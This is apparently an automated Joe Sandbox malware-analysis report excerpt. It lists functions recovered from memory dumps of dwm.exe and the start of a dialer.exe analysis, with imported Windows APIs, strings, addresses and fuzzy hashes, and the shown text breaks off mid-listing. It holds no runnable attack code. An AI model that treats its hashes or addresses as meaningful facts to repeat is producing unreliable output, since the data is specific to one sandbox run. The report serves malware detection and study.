Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: f668ebae7a626b22d9dbcf421f7ee727c1ac91f227238c048c81f3755eb3b7c4
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 51518C32A41B00DAEB18CB25E848BD93796F348F88F5085A4FB164778CFB76C849E701

Function 000001160CBE1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001160CBE1A60
StrCmpNIW.SHLWAPI ref: 000001160CBE1A7A
lstrlenW.KERNEL32 ref: 000001160CBE1A89
StrCpyW.SHLWAPI ref: 000001160CBE1A9E

Strings

\\?\, xrefs: 000001160CBE1A6E

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 2e86e042b2e4b659e6ba9be687937ce213fa3ee14a4a065a8680f4058dc28321
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 6EF08C36300B4082EB348F24E8843EA6760F74CB88F945060EB4946A59DB7EC68EDB00

Function 000001160CBE3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001160CBE3066
StrCpyW.SHLWAPI ref: 000001160CBE3076
StrCatW.SHLWAPI ref: 000001160CBE3082
PathCombineW.SHLWAPI ref: 000001160CBE3090

Strings

\\.\pipe\, xrefs: 000001160CBE305C

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 3fec79fad032051565755a825fa537cda261f8238bcd5913236774933117935a
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: F0F05E38604F8082EA088B16B9142DA63A4AB4CFC0F0441A0FF4607B2DDF69C4469700

Function 000001160CBEBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001160CBEBCBD
GetProcAddress.KERNEL32 ref: 000001160CBEBCD3
FreeLibrary.KERNEL32 ref: 000001160CBEBCFA

Strings

CorExitProcess, xrefs: 000001160CBEBCCC
mscoree.dll, xrefs: 000001160CBEBCB4

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: a5eb62537fb6bfe5a65e3d9d1881e9253be8d97531b25be878754bf50b40c016
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 03F06275211F0586EB188B24E4443D96360EB8CB61F5402D9FF6A453E8DF2EC046A340

Function 000001160CBE5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CBE5726

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: c4f96b38a82fae5d64a94be9159ff439f89e26c302612a513b778999d4a90a11
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 6761B676519B44C6EB68CB16E44439AB7A0F388B98F100195FB8E47BACEB7EC554DB00

Function 000001160CBC3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160CBC352C
_set_statfp.LIBCMT ref: 000001160CBC3547
_set_statfp.LIBCMT ref: 000001160CBC3563
_set_statfp.LIBCMT ref: 000001160CBC359F

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 7d068ccff395479a1a8ca0a41ff6f0b5cb44583eea117e209bbb97da9ecab023
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: E2117332A94F5111FAAC2528E4D63F911C16B5D374FC9CEA8BB66067FECB26CC417111

Function 000001160CBF4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001160CBF412C
_set_statfp.LIBCMT ref: 000001160CBF4147
_set_statfp.LIBCMT ref: 000001160CBF4163
_set_statfp.LIBCMT ref: 000001160CBF419F

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a2d60e80db169666c09dbc83c644de45b92b3f83fc807ebd1f64cfc93a8147fb
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7011913AAD0F5419F76C1568D4513E719406B6C3B8F0806A4BB76067DECB26CA477A00

Function 000001160CBBF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001160CBBF124

Strings

Wednesday, xrefs: 000001160CBBF1ED
or copy constructor iterator', xrefs: 000001160CBBF25A, 000001160CBBF275
Tuesday, xrefs: 000001160CBBF0F4

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 228dfb1950d3e10129388516a8d777bff4db30c7cbbd236b43f5bc3b611ebec5
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: DC61B53A500F4046FA6DDBA9EDC03FA6BA0E74D740F504895FB0A177ACDBB6C842A300

Function 000001160CBEAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001160CBEAA68
_CallSETranslator.LIBVCRUNTIME ref: 000001160CBEAAB7

Strings

RCC, xrefs: 000001160CBEAA85
MOC, xrefs: 000001160CBEAA7C

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: ddc40d19ef3e0178d7ccbb8309058d683924762c3a0cfda7ada99cbc9f56b684
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 51615632A00F848AEB28DF65D4803DD7BA4F758B88F045296EF4917B98EB39D595E700

Function 000001160CBBA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CBBA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160CBBA288

Strings

csm, xrefs: 000001160CBBA1C2
csm, xrefs: 000001160CBBA2DA

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 5beecf0a36cf43612fa9d680f2f1ada95d0d57731be6607b75cf6f462d35859a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: EA518E32900B80CAEB788B15D5943DD77A0F759B84F184256FB9987BD9CBBAD490F700

Function 000001160CBEAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CBEADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001160CBEAE88

Strings

csm, xrefs: 000001160CBEADC2
csm, xrefs: 000001160CBEAEDA

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 68162fd14037d65bd51b88a781ac837c3e6c9958c476ba7a276518bf1858e3f8
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 87517F72100B808AEF688B2594843D97BA8F358F85F1881D5FB5987BD9EB39D450F740

Function 000001160CBB8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CBB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CBB84A8

Strings

f, xrefs: 000001160CBB8426
csm, xrefs: 000001160CBB848E

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: d5ac5dc8e94e280de30f0c437891bb484453b0f749df0883a583c9f2b51e0737
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5A51AB32601B008AEB19CF15E584BDD3799F358B98F5481A4EB56437CCEBB7DC41A704

Function 000001160CBB83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001160CBB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001160CBB84A8

Strings

f, xrefs: 000001160CBB8426
csm, xrefs: 000001160CBB848E

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 937b1d79c2fe4e9b3d083d7ebb74d246155f8325fc491165d499852437db3792
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 64319F32201B409AEB29DF11E8847D977A8F348B98F558494FF9A0779CDBBBD940E704

Function 000001160CBF2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001160CBF20D7
WriteFile.KERNEL32 ref: 000001160CBF239F
WriteFile.KERNEL32 ref: 000001160CBF23E5
GetLastError.KERNEL32 ref: 000001160CBF249B

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5634b3be86054775eb403e1cfcadd77b1129b5c8b23e7f5f590b2b3f7070c448
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 84D1DC76B04B808DE719CFA9D4402DC3BA1E348B98F104296EF9A97B99DB39C507D740

Function 000001160CBE14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CBE14C5
HeapFree.KERNEL32 ref: 000001160CBE14D4
GetProcessHeap.KERNEL32 ref: 000001160CBE14E1
HeapFree.KERNEL32 ref: 000001160CBE14F0
GetProcessHeap.KERNEL32 ref: 000001160CBE1500

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: ec94c9d706daf64bcb37ad081bbb02de0cfb43fc9d8614868df8d0b45d56d9c8
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: FA01253A680F90CAE708DB66A9041CA67A0F78CF81F045465FF4A4372ADF39C1529740

Function 000001160CBF2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001160CBF2A9C
GetLastError.KERNEL32 ref: 000001160CBF2B27

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: ad6c01535a3d76188b280e0df103d07a856b17cca55eb8be6b4103dfbdd2e88a
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 8291BF7A740F508DF7689F6594903ED2BA0B708B88F144189EF0A67B9DDB36C487E702

Function 000001160CBE7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001160CBE798C
GetCurrentThreadId.KERNEL32 ref: 000001160CBE799A
GetCurrentProcessId.KERNEL32 ref: 000001160CBE79A6
QueryPerformanceCounter.KERNEL32 ref: 000001160CBE79B6

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 9453d27a776947573b335071d568a83c08c833795706cd411cfedd74c6b4cdd3
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 9A111836750F018AEB048B60E8553E833A4F71DB68F441E21EF6D467A8DB79C2999380

Function 000001160CBE253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CBE2620
StrCpyW.SHLWAPI ref: 000001160CBE2639

Strings

\\.\pipe\, xrefs: 000001160CBE262B

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: e0164dc80599d5eb54bd09aa18f748ebc82bd28ed61a0dbc5e2bff2ec621aa33
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 9771B236200F8185E76DDE2A98443EA6798F39DF84F540096FF0A53B9DEB36C945A701

Function 000001160CBB9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001160CBB9EB7

Strings

MOC, xrefs: 000001160CBB9E7C
RCC, xrefs: 000001160CBB9E85

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: e1a07e00b80321661de230908c4557540772c8d53387254dfc256e34213d22d7
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: C7614232A00F848AEB28DF65D4803ED7BB4F748B98F144256EF4917B98DBBAD195D700

Function 000001160CBE2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001160CBE2416
StrCpyW.SHLWAPI ref: 000001160CBE242D

Strings

\\.\pipe\, xrefs: 000001160CBE2421

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 84e661a99b6468e4cba836f63f673b785624e3faea9be0b5e417c18d63dcb6d4
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 6C51D172204F8181E66C9A29A1683FA67A9F78DF40F4401E5FF5903B9DEB3BC905E741

Function 000001160CBF26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001160CBF2807
GetLastError.KERNEL32 ref: 000001160CBF2829

Strings

U, xrefs: 000001160CBF27B3

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 4756c50ec3f1faefda294566c70c405a5f701fb1db533bc7407012ad3bd935dd
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 4141AF76314B848AEB248F25E8443EAB7A0F798B94F504021FF4E87798EB3DC442DB41

Function 000001160CBE94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001160CBE94F0
RaiseException.KERNEL32 ref: 000001160CBE9531

Strings

csm, xrefs: 000001160CBE951E

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 7f12e5e6ec11e533483d7b237406bdc11dae28fe43a1e87cbff7d2d0aaaa3a2f
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: F2111936614F8082EB658B15E4402DAB7E5F788B94F5842A0EF8D07758EF39C955DB00

Function 000001160CBB7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160CBB737C

Strings

riptor at (, xrefs: 000001160CBB7364
ierarchy Descriptor', xrefs: 000001160CBB7381

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: db845e03e9a386c89f3d1261f79441acbf1b086655db199e5898bcfa31636649
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 79E08671640F4890DF158F22E8802D833A4DB6CB64B889162AA5C06355FB78D1EDD300

Function 000001160CBB73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160CBB73D8

Strings

riptor at (, xrefs: 000001160CBB73C0
Locator', xrefs: 000001160CBB73DD

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 41420dddbfc665b55ee0428c0858932803be09d5a0ccdb2c0be956dfd0c19c92
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: EDE08671600F4880DF158F21D8801D87364E76CB54F889162DA4C06355EB78D1E9D300

Function 000001160CBE1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CBE1C2D
HeapAlloc.KERNEL32 ref: 000001160CBE1C3B
GetProcessHeap.KERNEL32 ref: 000001160CBE1C77
HeapFree.KERNEL32 ref: 000001160CBE1C85

Part of subcall function 000001160CBE152C: StrCmpIW.SHLWAPI ref: 000001160CBE155D

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 8b7586b35baa1835ab82bac5126fa34ee7b6d35857c49c25950b6015e4fdc4bd
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 06118235601F4485EA08DB6AE4042E973A1F78DFC0F1851A4EF4D9776AEF3AD442E300

Function 000001160CBE1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CBE126E
HeapAlloc.KERNEL32 ref: 000001160CBE127D
GetProcessHeap.KERNEL32 ref: 000001160CBE1297
HeapAlloc.KERNEL32 ref: 000001160CBE12A8

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: d9000aab30809e0692e031e89ba9a180ccdffd9970db1d2a359dcaedb951b137
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 9DE03939681F048AEB088B62D80838A37E1EB9DB06F0490249E0907355DF7E859AD750

Analysis Process: dialer.exePID: 7660, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	48.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	227
Total number of Limit Nodes:	23

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
